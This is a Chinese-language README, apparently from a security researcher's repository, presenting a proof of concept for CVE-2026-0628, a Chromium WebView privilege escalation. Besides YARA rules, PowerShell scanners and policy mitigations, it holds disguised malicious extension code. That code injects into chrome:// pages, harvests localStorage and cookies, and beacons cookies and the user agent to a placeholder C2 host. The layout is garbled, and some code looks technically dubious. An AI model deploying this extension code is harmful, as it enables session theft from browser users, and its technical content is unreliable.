
= doi.org/10.5281/zenodo.18413764
= orcid.org/0009-0007-7728-256X
README.md
# **CVE-2026-0628:Chromium WebView 权限提升(源欺骗)——技术研究与概念验证**
**作者:** Sastra Adi Wiguna(Purple Elite Teaming)
**研究日期:** 2026年1月
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8(高危)
**受影响版本:** Chromium < 143.0.7499.192
**补丁状态:** 已在 Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 中修复
---
## **1. 概述**
### **1.1 研究目的**
本仓库记录了 **CVE-2026-0628**,这是 Chromium WebView 策略执行机制中的一个**高危权限提升漏洞**。该漏洞允许恶意扩展程序**绕过沙箱限制**、向**特权上下文**(例如 `chrome://`)注入脚本,并**提升权限**以执行任意代码。
本研究**仅用于防御性安全目的**,包括:
- **漏洞分析**
- **检测工程**
- **缓解策略制定**
- **渗透测试(仅限授权环境)**
### **1.2 免责声明**
- **严格用于学术和防御性研究。**
- **未经授权不得用于生产系统。**
- **遵守所有适用法律和组织安全策略。**
- **立即修补:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。
---
## **2. 技术分析**
### **2.1 根本原因**
Chromium WebView 实现中的**策略执行不足**允许扩展程序**逃逸沙箱边界**并访问**特权 DOM 上下文**。
**漏洞流程:**
1. 恶意扩展程序在 `manifest.json` 中声明 WebView 的使用。
2. 扩展程序通过 `<webview>` 标签注入精心构造的 HTML/JS 载荷。
3. **WebView 策略验证绕过** → 访问特权页面(例如 `chrome://settings`)。
4. 在特权上下文中**执行任意脚本**。
**CVSS 向量:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
### **2.2 漏洞利用架构**
#### **恶意扩展程序模板**
```json
{
"manifest_version": 3,
"name": "Legitimate Extension",
"version": "1.0",
"webview": {
"src": "chrome://new-tab-page/",
"plugins": {}
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["payload.js"]
}]
}
payload.js)class WebViewExploiter {
constructor() {
this.privilegedTargets = [
'chrome://new-tab-page/',
'chrome-extension://background/',
'chrome://settings/'
];
}
injectPayload(targetURL) {
const webview = document.createElement('webview');
webview.setAttribute('src', targetURL);
webview.setAttribute('nodeintegration', ''); // 关键绕过参数
webview.addEventListener('dom-ready', () => {
webview.executeScript({
code: `
window.chrome = window.chrome || {};
chrome.runtime.sendMessage({action: 'steal_data'});
document.body.innerHTML = '';
`
});
});
document.body.appendChild(webview);
}
}
rule CVE_2026_0628_WebView_Exploiter {
meta:
description = "Detects CVE-2026-0628 WebView exploit patterns"
severity = "high"
strings:
$webview_abuse = "webview.*(nodeintegration|allowpopups)"
$chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
$inject_sig = /(executeScript|getURL|sendMessage)/
condition:
all of ($*) and filesize < 500KB
}
chrome.exe → 可疑的 WebView 创建。HKCU\Software\Google\Chrome\Extensions\[malicious_id]。// 存在漏洞(pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
return false; // 弱策略检查
}
// 已修复
function validateWebViewPolicy(webview) {
if (!isExtensionTrusted(webview.extensionId)) {
throw new SecurityError('Extension not privileged');
}
if (webview.attributes.includes('nodeintegration')) {
enforceStrictCSP(); // Content-Security-Policy 加固
}
}
{
"ExtensionInstallBlacklist": ["malicious_extension_id*"],
"ExtensionInstallForcelist": [],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
$extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $extPath | Where {
(Get-Content "$_\manifest.json" | Select-String "webview") -and
(Get-Content "$_\manifest.json" | Select-String "chrome://")
}
}
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html
manifest.json(绕过清单){
"manifest_version": 3,
"name": "WebView Helper Tool",
"version": "1.0",
"permissions": ["activeTab", "storage", "tabs"],
"host_permissions": ["<all_urls>", "chrome://*/*"],
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}],
"action": {
"default_popup": "popup.html"
},
"web_accessible_resources": [{
"resources": ["inject.js"],
"matches": ["<all_urls>"]
}]
}
background.js(持久化与 C2 信标)chrome.runtime.onInstalled.addListener(() => {
console.log('CVE-2026-0628 PoC Installed');
setTimeout(initExploitation, 5000);
});
async function initExploitation() {
fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
method: 'POST',
body: JSON.stringify({
victim: navigator.userAgent,
cookies: await getAllCookies()
})
}).catch(() => {});
chrome.tabs.onUpdated.addListener(exploitTab);
}
content.js(WebView 触发与注入)(function() {
const privilegedTargets = [
'chrome://new-tab-page/',
'chrome://settings/',
'chrome://extensions/'
];
function createMaliciousWebView(target) {
const webview = document.createElement('webview');
webview.setAttribute('src', target);
webview.setAttribute('allowpopups', '');
webview.addEventListener('dom-ready', () => {
chrome.scripting.executeScript({
target: {tabId: getCurrentTabId()},
func: stealPrivilegedData
});
});
document.body.appendChild(webview);
}
function stealPrivilegedData() {
return {
localStorage: Object.fromEntries(Object.entries(localStorage)),
cookies: document.cookie,
extensions: chrome.runtime.getManifest?.()
};
}
setTimeout(() => {
createMaliciousWebView('chrome://new-tab-page/');
}, 1000);
})();
chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
chrome://extensions/。cve-2026-0628-poc/。chrome://new-tab-page/。localhost:8080)→ 捕获向 C2 的外泄数据。your-c2-server.com 发送信标。"CVE-2026-0628 OWNED"。{
"ExtensionInstallBlacklist": ["*"],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# 扫描恶意扩展程序
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/
rule CVE_2026_0628_Mojo_Origin_Spoof {
strings:
$mojo_hdr = { 4D 6F 6A 6F }
$chrome_origin = "chrome://new-tab-page/"
$webview_sig = "WebViewPolicyValidator"
condition:
all of them
}
联系方式: 如有防御性安全问题,请通过 GitHub Issues 联系作者。
© 2026 Sastra Adi Wiguna. 保留所有权利。
| 攻击阶段 | 技术影响 | 业务影响 | CVSS 指标 |
|---|
| 扩展程序安装 | 用户同意 → 持久化 | 社会工程学向量 | UI:R(必需) |
| WebView 绕过 | 沙箱逃逸 → 特权上下文 | 会话劫持 | S:U → C:H/I:H/A:H |
| 脚本注入 | DOM 操纵 → 数据外泄 | 凭据窃取 | PR:N(无需权限) |
| 持久化 | 后台脚本 → C2 信标 | 横向移动准备 | AC:L(低复杂度) |